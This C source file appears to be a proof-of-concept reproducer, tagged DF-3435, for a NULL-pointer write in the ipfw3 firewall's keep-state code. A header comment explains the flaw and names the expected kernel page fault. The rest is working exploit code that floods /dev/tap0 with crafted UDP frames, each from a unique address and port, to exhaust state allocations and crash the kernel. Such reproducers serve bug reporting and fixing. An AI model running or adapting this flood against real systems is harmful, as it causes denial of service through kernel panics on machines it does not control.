/*
 * DF-3435 (fast injector) - drive ipfw3 check_keep_state() allocations to
 * the M_IPFW3_STATE malloc-type limit (default kmem_lim_size()/10) so the
 * unchecked kmalloc(..., M_INTWAIT|M_NULLOK) at ip_fw3_state.c:319 returns
 * NULL and ip_fw3_state.c:321 writes through it:
 *
 *     s->src_addr = k->src_addr;   (s == NULL -> write at 0x0)
 *
 * Rule (installed by fwsetup.sh):
 *     00099 allow udp from any to any keep-state limit src-port 100
 * Each injected packet carries a UNIQUE (src-ip, src-port) 5-tuple, so every
 * packet allocates one state (the limit counts by src-port only).
 *
 * Injection: pre-formed ethernet frames written to /dev/tap0 (async
 * ether_input -> netisr -> ip_input -> ipfw3 keep-state -> state alloc).
 * Expected end state: "Fatal trap 12: page fault" writing to vaddr 0x0 in
 * check_keep_state (or its inlined kmalloc path) on the stock kernel.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static unsigned short
cksum(unsigned short *p, int nwords)
{
	unsigned long sum = 0;

	while (nwords-- > 0)
		sum += *p++;
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return (~sum);
}

int
main(int argc, char **argv)
{
	unsigned char pkt[14 + 20 + 8 + 8];
	unsigned long n = 0, goal = argc > 1 ? strtoul(argv[1], NULL, 10) : 20000000UL;
	int fd;

	fd = open("/dev/tap0", O_RDWR);
	if (fd < 0) { perror("open /dev/tap0"); return 1; }

	memset(pkt, 0, sizeof(pkt));
	memset(pkt, 0xff, 6);				/* eth dst bcast */
	pkt[6] = 0x02; pkt[11] = 0x02;			/* eth src 02:...:02 */
	pkt[12] = 0x08; pkt[13] = 0x00;			/* ethertype IPv4 */
	pkt[14] = 0x45;				/* v4, ihl 5 */
	pkt[16] = 0; pkt[17] = 20 + 8 + 8;		/* total length 36 */
	pkt[22] = 64;					/* ttl */
	pkt[23] = 17;					/* IPPROTO_UDP */
	pkt[30] = 10; pkt[31] = 99; pkt[32] = 0; pkt[33] = 1;	/* dst 10.99.0.1 */
	pkt[34 + 0] = 0; pkt[34 + 1] = 0;		/* uh_sport set per-packet */
	pkt[34 + 2] = 0; pkt[34 + 3] = 9;		/* uh_dport 9 */
	pkt[34 + 4] = 0; pkt[34 + 5] = 8 + 8;		/* uh_ulen */
	/* uh_sum 0 (v4 udp checksum optional) */

	while (n < goal) {
		unsigned short sport;
		unsigned int sip;

		/* unique (src ip, src port): rotate 10.99.a.b : port */
		sip = (unsigned int)n;
		pkt[26] = 10; pkt[27] = 99;
		pkt[28] = (sip >> 8) & 0xff;
		pkt[29] = sip & 0xff;
		sport = 1024 + (unsigned short)(((sip >> 16) * 2654435761U) >> 16);
		pkt[34] = sport >> 8;
		pkt[35] = sport & 0xff;
		pkt[18] = (unsigned short)(n & 0xffff) >> 8;	/* ip id lo */
		pkt[19] = n & 0xff;
		pkt[24] = 0; pkt[25] = 0;
		{
			unsigned short c = cksum((unsigned short *)&pkt[14], 10);
			pkt[24] = c >> 8; pkt[25] = c & 0xff;
		}
		if (write(fd, pkt, sizeof(pkt)) < 0) {
			perror("write");
			usleep(500);
			continue;
		}
		n++;
		if ((n % 1000000) == 0) {
			printf("injected %luM\n", n / 1000000UL);
			fflush(stdout);
		}
	}
	printf("done: %lu packets, no panic\n", n);
	return 0;
}
